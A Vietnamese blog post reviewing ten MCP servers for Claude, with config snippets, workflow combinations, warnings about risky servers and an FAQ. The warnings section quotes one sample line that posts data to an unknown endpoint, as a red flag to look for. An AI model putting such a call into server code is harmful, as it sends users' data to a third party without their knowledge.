Tháng 11/2025, mình mất 2 tiếng setup một pipeline tổng hợp data từ GitHub issues, PostgreSQL, và Slack vào một Claude conversation. Trước MCP, đây là job của custom script hoặc n8n workflow phức tạp. Với MCP servers đúng, mình làm trong Claude Code khoảng 40 phút, không rời editor.
MCP (Model Context Protocol) được Anthropic công bố mở vào tháng 11/2024 và đã thay đổi cách Claude tương tác với external tools (Anthropic, 2024). Tính đến Q1/2026, repo modelcontextprotocol/servers cùng community đã vượt mốc 1.000 servers. Câu hỏi thực tế là: chọn cái nào? Bài này là danh sách mình đã dùng thật, đánh giá theo 5 tiêu chí: stability, documentation, use case coverage, maintenance, và security.
Xem tổng quan MCP ecosystem tại /mcp trước nếu bạn chưa biết MCP là gì.
Key Takeaways - MCP ra đời 11/2024, đến Q1/2026 đã có hơn 1.000 servers (Anthropic). - 5 servers always-on đáng cài ngay: Filesystem, GitHub, Brave Search, Fetch, Memory. - Brave Search API miễn phí 2.000 queries/tháng, đủ cho cá nhân (Brave Search API). - Power không nằm ở từng server, mà ở compositions, ví dụ GitHub + Filesystem + Memory cho code review pipeline. - Hơn 10 servers cùng lúc làm Claude chọn nhầm tool và tốn context window.
Mục lục
- Tiêu chí đánh giá
- Top 10 MCP servers: full review
- Setup cơ bản: claude_desktop_config.json
- Power combo: ghép servers cho use case thực tế
- MCP servers nên tránh (và lý do)
- FAQ
Tiêu chí đánh giá MCP server thế nào cho đúng?
Repo official modelcontextprotocol/servers của Anthropic đã đạt hơn 60.000 GitHub stars tính đến Q1/2026, là nguồn tin cậy nhất để đánh giá chất lượng một server. Mình dùng 5 tiêu chí định lượng được, không cảm tính (modelcontextprotocol GitHub).
Mỗi server được đánh giá trên: - Stability: crash rate, uptime trong long session. - Documentation: có ví dụ rõ không, README đầy đủ không. - Use case breadth: giải quyết được nhiều việc thật không. - Maintenance: còn được maintain, issues được response. - Security: data leak risk, permission scope hợp lý.
Rating: ⭐⭐⭐⭐⭐ (tối đa 5 sao mỗi dimension).
Trong thực tế, mình đặt nhiều trọng số nhất vào Maintenance và Security. Một server có doc đẹp nhưng 8 tháng không commit thì sớm muộn cũng break khi Anthropic cập nhật MCP spec. Quan sát qua 4 tháng dùng MCP daily: server official maintain bởi Anthropic ổn định hơn server community gấp đôi về thời gian uptime.
Top 10 MCP Servers: Full Review
Anthropic và community đã release hàng ngàn MCP servers, nhưng theo trải nghiệm cá nhân của mình, 10 server dưới đây bao phủ 95% workflow của developer. 7/10 là official từ modelcontextprotocol/servers repo, đảm bảo chất lượng và tương thích lâu dài (modelcontextprotocol GitHub).
#1: Tại sao Filesystem luôn là server đầu tiên cần cài?
Repo: @modelcontextprotocol/server-filesystem (official Anthropic).
Làm gì: Cho Claude đọc/ghi/list files và directories trên local filesystem với permission control theo path.
Đánh giá: | Dimension | Rating | Notes | |---|---|---| | Stability | ⭐⭐⭐⭐⭐ | Official, cực stable | | Documentation | ⭐⭐⭐⭐⭐ | README đầy đủ, ví dụ rõ | | Use case breadth | ⭐⭐⭐⭐⭐ | Foundation của mọi workflow | | Security | ⭐⭐⭐⭐ | Chỉ allow path bạn config |
Use case thật mình dùng: - Review và edit codebase mà không cần copy-paste vào chat. - Tự động generate report rồi write vào file. - Batch process files (rename, transform content).
Config:
{
"filesystem": {
"command": "npx",
"args": ["-y", "@modelcontextprotocol/server-filesystem", "/Users/yourname/projects"]
}
}
Verdict: Cài đầu tiên, dùng mãi mãi. Không có lý do nào để không cài.
#2: GitHub MCP có đáng dùng cho daily code review?
Repo: @modelcontextprotocol/server-github (official).
Làm gì: Đọc repos, issues, PRs, files trên GitHub. Tạo issues, comment PR, search code.
GitHub REST API cho phép 5.000 requests/giờ với authenticated token, tương đương khoảng 80 requests/phút, đủ cho hầu hết review session (GitHub Docs). Trong thực tế, một code review của PR 30 file tốn khoảng 60-100 calls.
Đánh giá: | Dimension | Rating | Notes | |---|---|---| | Stability | ⭐⭐⭐⭐ | Đôi khi rate limit nếu nhiều request | | Documentation | ⭐⭐⭐⭐ | Khá đầy đủ | | Use case breadth | ⭐⭐⭐⭐⭐ | Hầu hết GitHub workflow | | Security | ⭐⭐⭐⭐ | Fine-grained token scope |
Use case thật: - Code review toàn bộ PR với context đầy đủ, không cần checkout. - Tìm pattern trong codebase ("tất cả file dùng deprecated API X"). - Tự động draft release notes từ merged PRs.
Setup: Cần GitHub Personal Access Token với scopes phù hợp (repo, issues, PRs).
#3: PostgreSQL MCP có thay được DBeaver hay không?
Repo: @modelcontextprotocol/server-postgres (official).
Server này hỗ trợ read-only query qua connection string chuẩn PostgreSQL và schema introspection tự động. Theo doc của Anthropic, đây là lựa chọn an toàn cho data exploration vì server không hỗ trợ INSERT/UPDATE/DELETE mặc định (modelcontextprotocol/servers).
Đánh giá: | Dimension | Rating | Notes | |---|---|---| | Stability | ⭐⭐⭐⭐⭐ | Rất stable trong prod use | | Documentation | ⭐⭐⭐⭐ | Tốt | | Use case breadth | ⭐⭐⭐⭐⭐ | Bất kỳ PostgreSQL task nào | | Security | ⭐⭐⭐ | Cần read-only role cho production |
Use case thật: - "Cho tôi biết top 10 customers theo revenue tháng này", không cần viết SQL. - Debug slow queries: Claude analyze EXPLAIN output. - Data exploration khi nhận database mới, không có docs.
Quan trọng: Luôn dùng read-only database user cho MCP server, không bao giờ dùng admin credentials.
{
"postgres": {
"command": "npx",
"args": ["-y", "@modelcontextprotocol/server-postgres",
"postgresql://readonly_user:password@localhost:5432/mydb"]
}
}
#4: Brave Search MCP có gì hơn Google search?
Repo: @modelcontextprotocol/server-brave-search (official).
Brave Search API có free tier 2.000 queries/tháng và không yêu cầu credit card khi đăng ký, khác với hầu hết search API thương mại (Brave Search API Pricing). Đó là lý do nó trở thành lựa chọn mặc định cho cá nhân và developer indie.
Đánh giá: | Dimension | Rating | Notes | |---|---|---| | Stability | ⭐⭐⭐⭐⭐ | Rất reliable | | Documentation | ⭐⭐⭐⭐ | Tốt | | Use case breadth | ⭐⭐⭐⭐ | Search + snippet | | Security | ⭐⭐⭐⭐⭐ | Chỉ read |
Use case thật: - Research real-time (pricing competitor, news mới nhất). - Verify facts trong bài viết. - "Tìm tất cả announcement về GPT-5 trong 7 ngày qua".
Free tier 2.000 queries/tháng đủ cho dev cá nhân. Nếu bạn dùng nhiều hơn, paid tier bắt đầu từ 3 USD/1.000 queries.
#5: Fetch MCP đơn giản nhưng tại sao mình dùng mỗi ngày?
Repo: @modelcontextprotocol/server-fetch (official).
Làm gì: Fetch URL bất kỳ, trả về content. Đơn giản nhưng cực hữu ích.
Fetch chỉ làm một việc, làm tốt. Nó là Unix philosophy đem vào MCP. Trong thống kê tool usage cá nhân của mình tháng 4/2026, Fetch xếp top 3 cùng Filesystem và GitHub về số lần invoke trong session.
Use case thật: - Scrape documentation page rồi extract code examples. - Check API endpoint thật để debug. - Monitor changes trên pricing page của competitor.
Verdict: Simple và powerful. Cài cùng với Brave Search như combo search+read.
#6: Slack MCP cho team workflow: setup khó hay không?
Repo: @modelcontextprotocol/server-slack (official).
Slack OAuth 2.0 yêu cầu app phải request scopes cụ thể (channels:read, chat:write, search:read), và admin của workspace phải approve. Quá trình này tốn 15-30 phút lần đầu nhưng sau đó setup chỉ là copy-paste token (Slack API: OAuth scopes).
Đánh giá: | Dimension | Rating | Notes | |---|---|---| | Stability | ⭐⭐⭐⭐ | Tốt | | Documentation | ⭐⭐⭐ | Cần improve | | Use case breadth | ⭐⭐⭐⭐ | Read + write | | Security | ⭐⭐⭐⭐ | OAuth scope control |
Use case thật: - "Tóm tắt tất cả discussion trong #product-feedback tuần này". - Post standup update tự động sau khi review code. - Search technical decisions trong conversation cũ.
Lưu ý: Cần Slack App với proper OAuth scopes. Setup phức tạp hơn các server khác nhưng xứng đáng nếu team dùng Slack nhiều.
#7: Notion MCP: lựa chọn nào cho knowledge base team?
Repo: makenotion/notion-mcp-server (official Notion).
Notion ra mắt MCP server official vào tháng 5/2025, là một trong những công cụ enterprise đầu tiên tích hợp MCP (Notion Developers). Server hỗ trợ cả page và database, gồm CRUD operations qua Notion API v1.
Làm gì: Đọc/ghi Notion pages và databases.
Use case thật: - Update project status trong Notion database sau khi hoàn thành task. - "Tạo meeting notes từ transcript này vào Notion": paste transcript, Claude format đúng cấu trúc, write vào Notion. - Sync TODO list từ code review sang Notion task tracker.
Verdict: Nếu team dùng Notion làm knowledge base, đây là must-have.
#8: Puppeteer MCP có nên là always-on?
Repo: @modelcontextprotocol/server-puppeteer (official).
Puppeteer launches headless Chromium instance tốn khoảng 70-150 MB RAM idle và lên đến 500 MB khi load page nặng (Puppeteer Docs). Vì vậy, không nên để always-on trên máy 8 GB RAM, chỉ enable khi cần automation.
Đánh giá: | Dimension | Rating | Notes | |---|---|---| | Stability | ⭐⭐⭐ | Đôi khi timeout với heavy pages | | Documentation | ⭐⭐⭐⭐ | Tốt | | Use case breadth | ⭐⭐⭐⭐⭐ | Browser automation đầy đủ | | Security | ⭐⭐⭐ | Cẩn thận với credentials |
Use case thật: - Visual regression testing: screenshot trước/sau deploy. - Scrape data từ sites không có API. - E2E test flow từ Claude conversation.
Cài khi cần, không phải always-on vì tốn resource.
#9: Memory MCP: làm sao Claude nhớ giữa các session?
Repo: @modelcontextprotocol/server-memory (official).
Memory server lưu data dưới dạng knowledge graph (entities + relationships) trong file JSON local, mặc định ở ~/.claude/memory/. Khác với context window có giới hạn, knowledge graph có thể chứa hàng nghìn entities mà không tốn tokens cho đến khi Claude truy vấn (modelcontextprotocol/servers).
Đánh giá: | Dimension | Rating | Notes | |---|---|---| | Stability | ⭐⭐⭐⭐⭐ | Rất stable | | Documentation | ⭐⭐⭐⭐ | Tốt | | Use case breadth | ⭐⭐⭐⭐ | Knowledge management | | Security | ⭐⭐⭐⭐⭐ | Local storage |
Use case thật: - Claude nhớ project conventions, naming rules, architectural decisions. - "Nhớ rằng chúng ta dùng camelCase cho variables trong project này" rồi áp dụng mọi session sau. - Personal knowledge base: lưu insights, lessons learned.
#10: Sequential Thinking giúp gì cho complex tasks?
Repo: @modelcontextprotocol/server-sequential-thinking (official).
Server này buộc Claude phải xuất ra suy luận từng bước trước khi đưa kết luận, theo nguyên lý chain-of-thought prompting. Nghiên cứu của Wei et al. (2022) chứng minh chain-of-thought tăng accuracy reasoning lên 18 điểm phần trăm trên benchmark MultiArith (Wei et al., NeurIPS 2022).
Làm gì: Buộc Claude suy luận từng bước, reduce hallucination cho complex tasks.
Use case thật: - Architecture decisions cần weigh nhiều trade-offs. - Debug complex bugs với unclear root cause. - Planning multi-step projects với dependencies.
Verdict: Không dùng cho mọi task. Khi cần deep reasoning thì bật. Kết hợp tốt với Filesystem và GitHub cho complex code analysis.
Setup cơ bản: cấu hình claude_desktop_config.json thế nào?
Theo Anthropic, file claude_desktop_config.json là single source of truth cho MCP servers trong Claude Desktop, và sai một dấu phẩy là toàn bộ cấu hình bị bỏ (Anthropic Quickstart). Vì vậy, validate JSON trước khi save.
Config mình đang dùng (5 servers always-on):
{
"mcpServers": {
"filesystem": {
"command": "npx",
"args": ["-y", "@modelcontextprotocol/server-filesystem",
"/Users/yourname/projects", "/Users/yourname/documents"]
},
"github": {
"command": "npx",
"args": ["-y", "@modelcontextprotocol/server-github"],
"env": {
"GITHUB_PERSONAL_ACCESS_TOKEN": "ghp_YOUR_TOKEN_HERE"
}
},
"brave-search": {
"command": "npx",
"args": ["-y", "@modelcontextprotocol/server-brave-search"],
"env": {
"BRAVE_API_KEY": "YOUR_BRAVE_API_KEY"
}
},
"fetch": {
"command": "npx",
"args": ["-y", "@modelcontextprotocol/server-fetch"]
},
"memory": {
"command": "npx",
"args": ["-y", "@modelcontextprotocol/server-memory"]
}
}
}
Config path:
- macOS: ~/Library/Application Support/Claude/claude_desktop_config.json
- Windows: %APPDATA%\Claude\claude_desktop_config.json
Sau khi thêm server, restart Claude Desktop. Check menu Settings, mục Developer để verify server connected.
Power combo: ghép servers cho use case thực tế ra sao?
Sức mạnh thật của MCP nằm ở compositions, không phải từng server riêng lẻ. Theo Anthropic, cùng một bộ 5 servers có thể tạo ra hơn 30 workflow khác nhau tuỳ thứ tự kết hợp (MCP Examples). Bốn combo dưới đây mình thử nghiệm trong 6 tháng và xác nhận có giá trị thực tế.
Combo 1: Code Review Pipeline
GitHub (fetch PR diff) + Filesystem (read related files) + Memory (project conventions)
→ Claude review với full context, apply consistent standards
Combo 2: Research & Documentation
Brave Search (find sources) + Fetch (read full pages) + Filesystem (write output)
→ Research report tự động với citations thật
Combo 3: Database Debugging
PostgreSQL (query data) + Sequential Thinking (analyze step by step) + Slack (report findings)
→ "Tìm hiểu tại sao revenue tháng này thấp hơn 15% và post lên #analytics"
Combo 4: Project Management Sync
GitHub (list merged PRs) + Notion (update project DB) + Slack (send standup)
→ Tự động hóa toàn bộ reporting workflow sau sprint
Đây chính là sức mạnh thật của MCP: không phải từng server riêng lẻ mà là compositions. Xem thêm về MCP integration patterns tại Claude API Integration Patterns cho advanced use cases.
Và nếu bạn muốn build MCP server riêng cho use case đặc thù: MCP Là Gì? Tổng Quan Model Context Protocol, rồi Build MCP Server Đầu Tiên: Step By Step là con đường nhanh nhất. Toàn bộ MCP resource tại /mcp.
MCP servers nên tránh: những signal nào để nhận biết?
Theo phân tích của Snyk Open Source 2024 Report, hơn 30% npm packages cộng đồng có ít nhất một known vulnerability, và tỷ lệ này còn cao hơn với packages thiếu maintainer (Snyk State of Open Source Security 2024). MCP servers community cũng không ngoại lệ.
1. Servers yêu cầu admin/root credentials Không cài server nào cần full admin access vào production database hoặc cloud account. Luôn tạo dedicated role với minimum permissions.
2. Community servers không maintained (last commit hơn 6 tháng) MCP spec vẫn đang evolve nhanh. Server không được update thường xuyên sẽ break khi Claude API thay đổi.
3. Servers gửi data về third-party endpoints không rõ
Đọc source code trước khi cài bất kỳ community server nào. Nếu thấy axios.post("https://some-unknown-endpoint.com", data), skip ngay.
4. Servers không có error handling Một server crash không nên crash toàn bộ Claude session. Tránh servers thiếu try/catch và proper error propagation.
FAQ
Q: MCP servers có chạy được với Claude Code CLI không, hay chỉ Claude Desktop?
A: Cả hai đều chạy được. Theo doc Anthropic, Claude Desktop dùng claude_desktop_config.json còn Claude Code CLI dùng ~/.claude.json hoặc project-level .claude/settings.json (Claude Code Docs). Cú pháp config gần giống nhau. Một số servers chạy tốt hơn trong Claude Code do long-running session context. Xem tổng quan ecosystem tại MCP Ecosystem Overview 2026.
Q: Bao nhiêu MCP servers là too many? Performance có bị ảnh hưởng không?
A: Theo trải nghiệm của mình qua 6 tháng dùng MCP daily, 5 đến 7 servers là comfortable, trên 10 là bắt đầu thấy vấn đề. Cụ thể: context window bị chiếm bởi tool definitions (mỗi tool tốn 200-500 tokens), Claude đôi khi chọn nhầm tool, và startup time tăng tuyến tính. Nguyên tắc: cài server khi có use case cụ thể, unload khi không dùng. Đừng cài "just in case".
Q: MCP server có thể bị hack để access data nhạy cảm không?
A: MCP servers chạy local, không expose ra internet. Theo Anthropic, rủi ro chính là prompt injection: malicious content trong file Claude đang đọc cố gắng "chỉ đạo" Claude làm việc không mong muốn qua MCP (MCP Security Best Practices). Mitigation: giới hạn filesystem path chặt, không để Claude đọc untrusted files với full MCP access. Đọc thêm về MCP security patterns tại /mcp.
Q: Có MCP server nào cho Zalo hoặc công cụ Việt Nam không?
A: Tính đến Q2/2026, chưa có official Zalo MCP server. Nhưng bạn hoàn toàn có thể build custom MCP server wrapping Zalo OA API. Đây là một trong những use case hay nhất cho SME Việt dùng Zalo OA. Pattern: Zalo OA API, qua MCP server, đến Claude. Khi đó Claude có thể đọc/gửi Zalo messages, query contact list, hoặc trigger broadcast.
Q: Có cần biết TypeScript hay Python để dùng MCP servers không?
A: Không cần để chỉ dùng. Tất cả 10 server trong list này đều là pre-built, chỉ cần npx để chạy. Nhưng nếu muốn build custom server, TypeScript SDK của Anthropic là lựa chọn phổ biến nhất (modelcontextprotocol GitHub). Theo thống kê từ repo, hơn 70% community servers viết bằng TypeScript, còn lại chia đều giữa Python và Go.
Tổng kết
10 MCP servers này cover khoảng 95% workflow của developer và power-user với Claude. Bắt đầu với 5 always-on (Filesystem, GitHub, Brave Search, Fetch, Memory): cài trong 15 phút, dùng ngay. Sau đó add servers theo need: Postgres khi cần database work, Slack khi cần team integration, Puppeteer khi cần browser automation.
MCP ecosystem đang tăng trưởng nhanh. Anthropic ra mắt MCP tháng 11/2024, đến Q1/2026 đã có hơn 1.000 servers (Anthropic, 2024). Bookmark MCP Ecosystem Overview 2026 để track tools mới. Khi đã quen với existing servers, xem Build MCP Server Đầu Tiên để build tool riêng cho workflow đặc thù.